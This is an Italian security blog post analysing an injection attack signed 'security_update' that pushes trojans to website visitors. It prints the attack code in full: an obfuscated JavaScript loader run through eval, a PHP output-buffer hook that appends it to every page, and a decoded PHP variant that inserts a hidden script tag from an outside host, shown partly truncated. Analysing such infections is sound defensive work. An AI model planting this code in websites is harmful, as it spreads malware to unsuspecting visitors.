Sicurezza

[HACK] – Cannot redeclare security_update(), alla fine è arrivato!

Condividi!

CODICI

A distanza di 9 mesi (come un parto) l’attacco porta ancora la firma “security_update” ma questa volta invece che inserire un incomprensibile numero a pié di pagina inietta un virus criptato (HTML Injection) che tenta di far scaricare al visitatore dei Trojan.

Per quanto ho potuto analizzare allo stato attuale vi sono diversi codici che vengono iniettati ma tutti hanno lo stesso scopo.

Di seguito posto tutti i codici individuati con la decodifica.

VERSIONI ENCODATE


$a="Z64dZ3dZ22q|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;
08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+mfqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0}qwys^e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7
tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z252
6M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;
;rvwyr}f:wZ7by;xp;v}zfszZ2526;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;cbZ3dZ2273);Z2573tZ253dtmZ2570Z253dZ2527Z2527;for(iZ253d0;i
Z253cdsZ252elZ2565ngtZ2568;Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tf
u7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07huc7Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s
7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7y7Z3c7z7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h
7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+fqb0dy}u0-0~ug0Qbbqi89+fqb0tqdu0-0~ug0Tqdu8Z22
;dzZ3dZ22Z2566Z2575Z256ecZ2574Z2569oZ256e dwZ2528t)Z257bZ2563Z2561Z253dZ2527Z252564Z25256fZ252563Z252575mZ2565nZ25257Z2534.Z252577rZ
2569Z252574Z252565(Z25252Z2532Z2527;cZ2565Z253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscrZ252569Z252570Z2574 Z25256caZ2525Z2536egZ252
5Z25375Z2561Z2567eZ25253dZ25255cZ25252Z2532jaZ2576Z252561Z2573cZ252572iZ252570tZ25255cZ252522Z25253eZ2527;Z2563Z2563Z253dZ2527Z25253
cZ25255cZ25252fscripZ25257Z2534Z25253eZ2527;evaZ256c(unZ2565Z2573caZ2570e(tZ2529)Z257d;Z22;stZ3dZ22Z2573tZ253dZ2522Z2524Z2561Z253dsZ
2574;Z2564cZ2573(Z2564aZ252bdZ2562Z252bdZ2563+Z2564Z2564+Z2564Z2565,Z2531Z2530Z2529;Z2564Z2577Z2528Z2573tZ2529;Z2573tZ253dZ2524Z2561
;Z2522Z253bZ22;cdZ3dZ22sZ2574Z252bZ2553triZ256egZ252efrZ256fZ256dChZ2561rCoZ2564eZ2528(tZ256dZ2570Z252eZ256Z22;dcZ3dZ220!9+0yv08tqdu
Z3ewud]Z257F~dx89;!0,0!Z25209kcxyvdY~tuh0-0dy}uK7iuqb7M0;07Z3dZ252070;08tqduZ3ewud]Z257F~dx89;!90+mu|cukcxyvdY~tuh0-0dy}uK7iuqb7M0;0
7Z3d70;08tqduZ3ewud]Z257F~dx89;!9+myv08tqduZ3ewudTqdu890;!0,0!Z25209kcxyvdY~tuh0-cxyvdY~tuh0;07Z3dZ252070;0tqduZ3ewudTqdu89+mu|cukcx
yvdY~tuh0-0cxyvdY~tuh0;07Z3d70;0tqduZ3ewudTqdu89+mcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKcxyvdY~tuhMKZ2520MZ3eaeubiZ3esxqbSZ257FtuQd8
!9+ve~sdyZ257F~0SZ22;caZ3dZ22Z2566uZ256ectiZ256fn dZ2563s(Z2564sZ252ces)Z257bdsZ253duneZ2573capZ2565(Z2564Z25Z22;czZ3dZ22Z2566uncZ25
74iZ256fnZ2520Z2563z(cZ257a)Z257brZ2565tuZ2572n Z2563Z2561+Z2563b+cZ2563+Z2563d+cZ2565+Z2563zZ253b}Z253bZ22;ceZ3dZ223harZ2543odeZ254
1tZ25280)^Z2528Z25270Z2578Z25300Z2527+eZ2573Z2529));Z257d}Z22;dbZ3dZ229+tqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0#9+0dy}uK7iuqb7M0-0tqduZ
3ewudVe||Iuqb89+dy}uK7}Z257F~dx7M0-0tqduZ3ewud]Z257F~dx89;!+dy}uK7tqi7M0-0tqduZ3ewudTqdu89+yv08tqduZ3ewudTqi890--0!0ll0tqduZ3ewudTqi
890--0Z25260ll0tqduZ3ewudTqi890--0$9ktqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0!9+0dy}uK7tqi7M0-0tqduZ3ewudTqdu89+0dy}uK7}Z257F~dx7M0-0tqd
uZ3ewud]Z257F~dx89;!+0dy}uK7iuqb7M0-0tqduZ3ewudVe||Iuqb89+0m0tqduZ3ecudTqdu8tqduZ3ewudTqdu890;Z22;opZ3dZ22Z2524Z2561Z253dZ2522dZ2577
(dZ2563s(cZ2575,14Z2529)Z253bZ2522;Z22;ccZ3dZ22Z2569+Z252b)Z257btmpZ253ddZ2573Z252eZ2573liZ2563eZ2528iZ252ci+Z2531)Z253bsZ2574Z253dZ
22;deZ3dZ22iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0
$90;0~e}9050!Z25209M+}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M
+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+4q-4qZ3ebu`|qsu8tZ3ciuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy
}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+Z22;Z69Z66 (dZ6fcZ75Z6deZ6eZ74Z2ecoZ6fZ6bieZ2eZ69nZ64eZ78Z4ff(Z27rZ665Z66Z36dZ73Z27)Z3dZ3d-1)
Z7bfuncZ74Z69on Z63alZ6cbacZ6b(x)Z7b Z77indZ6fZ77.twZ20Z3d Z78;sZ63(Z27rf5fZ36dsZ27,2,Z37);eZ76alZ28uneZ73caZ70e(dZ7aZ2bcZ7aZ2bZ6fp+
sZ74)Z2bZ27dw(Z64z+cZ7aZ28$a+Z73t)Z29;Z27);Z64Z6fcuZ6denZ74.Z77ritZ65($aZ29;}Z64oZ63umZ65nZ74.wZ72Z69Z74e(Z22Z3cimgZ20srZ63Z3dZ27htZ
74p:Z2fZ2fsearZ63h.tZ77Z69tZ74er.Z63omZ2fimagZ65sZ2fsearcZ68Z2frss.Z70nZ67Z27 widZ74hZ3d1 Z68Z65iZ67htZ3d1Z20styZ6ceZ3dZ27visibiliZ7
4y:hZ69ddeZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt lZ61Z6eZ67uaZ67eZ3djavaZ73cZ72iptZ22+Z22 srcZ3dZ27httpZ3aZ2fZ2fsearcZ68.twZ69tteZ72.coZ6dZ2
ftreZ6edZ73Z2fweekZ6cy.jZ73oZ6e?cZ61llbZ61Z63Z6bZ3dcallZ62aZ63k&Z65Z78Z63lZ75deZ3dZ68aZ73htZ61gZ73Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22i
ptZ3eZ22);}elsZ65Z7bZ24aZ3dZ27Z27};functZ69on Z73Z63(cZ6em,vZ2ceZ64)Z7bvaZ72Z20eZ78dZ3dnewZ20DaZ74Z65()Z3bexZ64.sZ65tDZ61te(Z65xdZ2e
getZ44ateZ28)+eZ64);Z64ocZ75Z6dZ65nt.Z63ookZ69eZ3dcnZ6d+ Z27Z3dZ27 Z2beZ73cZ61Z70Z65Z28Z76)Z2bZ27;Z65Z78pZ69Z72Z65sZ3dZ27+exdZ2eZ74o
Z47MTZ53trZ69ngZ28);Z7d;";function z(s){r="";for(i=0;i<s .length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return
unescape(r);}eval(z($a));

< ?php ob_start("security_update"); function security_update($buffer){return $buffer."$a="Z64dZ3dZ22q|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+mfqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0}qwys^e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;v}zfszZ2526;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;cbZ3dZ2273);Z2573tZ253dtmZ2570Z253dZ2527Z2527;for(iZ253d0;iZ253cdsZ252elZ2565ngtZ2568;Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07huc7Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7y7Z3c7z7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+fqb0dy}u0-0~ug0Qbbqi89+fqb0tqdu0-0~ug0Tqdu8Z22;dzZ3dZ22Z2566Z2575Z256ecZ2574Z2569oZ256e dwZ2528t)Z257bZ2563Z2561Z253dZ2527Z252564Z25256fZ252563Z252575mZ2565nZ25257Z2534.Z252577rZ2569Z252574Z252565(Z25252Z2532Z2527;cZ2565Z253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscrZ252569Z252570Z2574 Z25256caZ2525Z2536egZ2525Z25375Z2561Z2567eZ25253dZ25255cZ25252Z2532jaZ2576Z252561Z2573cZ252572iZ252570tZ25255cZ252522Z25253eZ2527;Z2563Z2563Z253dZ2527Z25253cZ25255cZ25252fscripZ25257Z2534Z25253eZ2527;evaZ256c(unZ2565Z2573caZ2570e(tZ2529)Z257d;Z22;stZ3dZ22Z2573tZ253dZ2522Z2524Z2561Z253dsZ2574;Z2564cZ2573(Z2564aZ252bdZ2562Z252bdZ2563+Z2564Z2564+Z2564Z2565,Z2531Z2530Z2529;Z2564Z2577Z2528Z2573tZ2529;Z2573tZ253dZ2524Z2561;Z2522Z253bZ22;cdZ3dZ22sZ2574Z252bZ2553triZ256egZ252efrZ256fZ256dChZ2561rCoZ2564eZ2528(tZ256dZ2570Z252eZ256Z22;dcZ3dZ220!9+0yv08tqduZ3ewud]Z257F~dx89;!0,0!Z25209kcxyvdY~tuh0-0dy}uK7iuqb7M0;07Z3dZ252070;08tqduZ3ewud]Z257F~dx89;!90+mu|cukcxyvdY~tuh0-0dy}uK7iuqb7M0;07Z3d70;08tqduZ3ewud]Z257F~dx89;!9+myv08tqduZ3ewudTqdu890;!0,0!Z25209kcxyvdY~tuh0-cxyvdY~tuh0;07Z3dZ252070;0tqduZ3ewudTqdu89+mu|cukcxyvdY~tuh0-0cxyvdY~tuh0;07Z3d70;0tqduZ3ewudTqdu89+mcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKcxyvdY~tuhMKZ2520MZ3eaeubiZ3esxqbSZ257FtuQd8!9+ve~sdyZ257F~0SZ22;caZ3dZ22Z2566uZ256ectiZ256fn dZ2563s(Z2564sZ252ces)Z257bdsZ253duneZ2573capZ2565(Z2564Z25Z22;czZ3dZ22Z2566uncZ2574iZ256fnZ2520Z2563z(cZ257a)Z257brZ2565tuZ2572n Z2563Z2561+Z2563b+cZ2563+Z2563d+cZ2565+Z2563zZ253b}Z253bZ22;ceZ3dZ223harZ2543odeZ2541tZ25280)^Z2528Z25270Z2578Z25300Z2527+eZ2573Z2529));Z257d}Z22;dbZ3dZ229+tqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0#9+0dy}uK7iuqb7M0-0tqduZ3ewudVe||Iuqb89+dy}uK7}Z257F~dx7M0-0tqduZ3ewud]Z257F~dx89;!+dy}uK7tqi7M0-0tqduZ3ewudTqdu89+yv08tqduZ3ewudTqi890--0!0ll0tqduZ3ewudTqi890--0Z25260ll0tqduZ3ewudTqi890--0$9ktqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0!9+0dy}uK7tqi7M0-0tqduZ3ewudTqdu89+0dy}uK7}Z257F~dx7M0-0tqduZ3ewud]Z257F~dx89;!+0dy}uK7iuqb7M0-0tqduZ3ewudVe||Iuqb89+0m0tqduZ3ecudTqdu8tqduZ3ewudTqdu890;Z22;opZ3dZ22Z2524Z2561Z253dZ2522dZ2577(dZ2563s(cZ2575,14Z2529)Z253bZ2522;Z22;ccZ3dZ22Z2569+Z252b)Z257btmpZ253ddZ2573Z252eZ2573liZ2563eZ2528iZ252ci+Z2531)Z253bsZ2574Z253dZ22;deZ3dZ22iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+4q-4qZ3ebu`|qsu8tZ3ciuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+Z22;Z69Z66 (dZ6fcZ75Z6deZ6eZ74Z2ecoZ6fZ6bieZ2eZ69nZ64eZ78Z4ff(Z27rZ665Z66Z36dZ73Z27)Z3dZ3d-1)Z7bfuncZ74Z69on Z63alZ6cbacZ6b(x)Z7b Z77indZ6fZ77.twZ20Z3d Z78;sZ63(Z27rf5fZ36dsZ27,2,Z37);eZ76alZ28uneZ73caZ70e(dZ7aZ2bcZ7aZ2bZ6fp+sZ74)Z2bZ27dw(Z64z+cZ7aZ28$a+Z73t)Z29;Z27);Z64Z6fcuZ6denZ74.Z77ritZ65($aZ29;}Z64oZ63umZ65nZ74.wZ72Z69Z74e(Z22Z3cimgZ20srZ63Z3dZ27htZ74p:Z2fZ2fsearZ63h.tZ77Z69tZ74er.Z63omZ2fimagZ65sZ2fsearcZ68Z2frss.Z70nZ67Z27 widZ74hZ3d1 Z68Z65iZ67htZ3d1Z20styZ6ceZ3dZ27visibiliZ74y:hZ69ddeZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt lZ61Z6eZ67uaZ67eZ3djavaZ73cZ72iptZ22+Z22 srcZ3dZ27httpZ3aZ2fZ2fsearcZ68.twZ69tteZ72.coZ6dZ2ftreZ6edZ73Z2fweekZ6cy.jZ73oZ6e?cZ61llbZ61Z63Z6bZ3dcallZ62aZ63k&Z65Z78Z63lZ75deZ3dZ68aZ73htZ61gZ73Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elsZ65Z7bZ24aZ3dZ27Z27};functZ69on Z73Z63(cZ6em,vZ2ceZ64)Z7bvaZ72Z20eZ78dZ3dnewZ20DaZ74Z65()Z3bexZ64.sZ65tDZ61te(Z65xdZ2egetZ44ateZ28)+eZ64);Z64ocZ75Z6dZ65nt.Z63ookZ69eZ3dcnZ6d+ Z27Z3dZ27 Z2beZ73cZ61Z70Z65Z28Z76)Z2bZ27;Z65Z78pZ69Z72Z65sZ3dZ27+exdZ2eZ74oZ47MTZ53trZ69ngZ28);Z7d;";function z(s){r="";for(i=0;i<s .length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}eval(z($a));";}//important security update

VERSIONE DECODIFICATA

if(!isset($xux51)){function xux5($s){if(preg_match_all('#<script (.*?)#is',$s,$a))foreach($a[0]as$v)if(count(explode("n",$v))>5){$e=preg_match('#['"][^s'".,;?![]:/()]{30,}#',$v)||preg_match('#[([](s*d+,){20,}#',$v);if((preg_match('#bevalb#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#]*?)src=['"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0]as$v)if(preg_match('#[. ]widths*=s*['"]?0*[0-9]['"> ]|displays*:s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovLzJ4c2FsdC5vcmcvY3NzL0RBVi1UaG91Z2h0LUxlYWRlcnNoaXAucGhwID48L3NjcmlwdD4='),'',$s);if(stristr($s,'<body '))$s=preg_replace('#(s*<body)#mi',$a.'1',$s);elseif(strpos($s,'=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('xux5');for($i=0;$i

LINK MALEVOLO DECODIFICATO



Pagine: 1 2 3 4 5 6

1 Comment
To Top